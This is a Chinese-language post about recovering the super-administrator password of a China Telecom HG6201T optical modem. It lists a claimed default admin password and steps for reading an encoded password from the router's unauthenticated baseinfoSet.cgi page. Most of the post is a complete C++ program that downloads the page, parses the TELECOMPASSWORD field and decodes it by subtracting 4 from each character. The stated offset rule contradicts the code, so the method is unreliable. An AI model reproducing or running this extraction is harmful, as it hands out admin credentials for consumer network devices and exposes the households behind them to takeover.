电信光猫 HG6201T 超管账号密码维护结束前默认为:nE7jA%5m维护结束后获取密码方法如下
1，登录路由器的banseinfo页面， 获取baseinfo信息baseinfo地址：http://192.168.1.1:8080/cgi-bin/baseinfoSet.cgi
2，通过对比路由器上明文标注的普通账号的密码， 猜出加密方式， 解析加密后的ascii编码
3，解析ascii编码，以&符号为分隔符， split字符串， 拿到数组， 每一个数字减去4就得到ascii编码， 转成字符串拼接起来。
超管密码前面telecomadmin固定，后面8位数字偏移量为0不是4.
#include<stdio.h>#include<stdlib.h>#include<iostream>#include<string>#include<UrlMon.h>#pragma comment(lib, "urlmon.lib")using namespace std;int main() {HRESULT hr = URLDownloadToFile(nullptr,"http://192.168.1.1:8080/cgi-bin/baseinfoSet.cgi","passwd",0,0);if (hr != S_OK){cout << "下载失败程序退出 ! ! !" << endl;return 1;}else{cout << "下载成功" << endl;}FILE* Fcgi = nullptr;char bash[32] = "";/*UINT num[512] = {O}, n;*/unsigned char TPassword[64] = { 0 };errno_t err = 0;long fnum = 0;err = fopen_s(&Fcgi, "passwd", "rb");if (err == 0){cout << "文件打开成功 * * *" << endl;if (0 != Fcgi){while (true){memset(bash, 0, 32);fscanf_s(Fcgi, "%[^\"_]%*c", bash, 32);if (fnum == ftell(Fcgi)){//fseek(Fcgi, 1, SEEK_CUR);fseek(Fcgi, 1, 1);}fnum = ftell(Fcgi);if (!strcmp(bash, "TELECOMPASSWORD")){fread_s(bash, 2, 1, 2, Fcgi);memset(TPassword, 0, 64);for (size_t i = 0; i < 64; i++){fscanf_s(Fcgi, "%hhu&]", &TPassword[i]);if (TPassword[i] == 0) {break;}}break;}}for (size_t i = 0; i < 12; i++){TPassword[i] -= 4;}cout <<"超级管理密码:"<< TPassword << endl;fclose(Fcgi);}}else {cout << "文件打开失败 ! ! !" << endl;}system("pause");return 0;}
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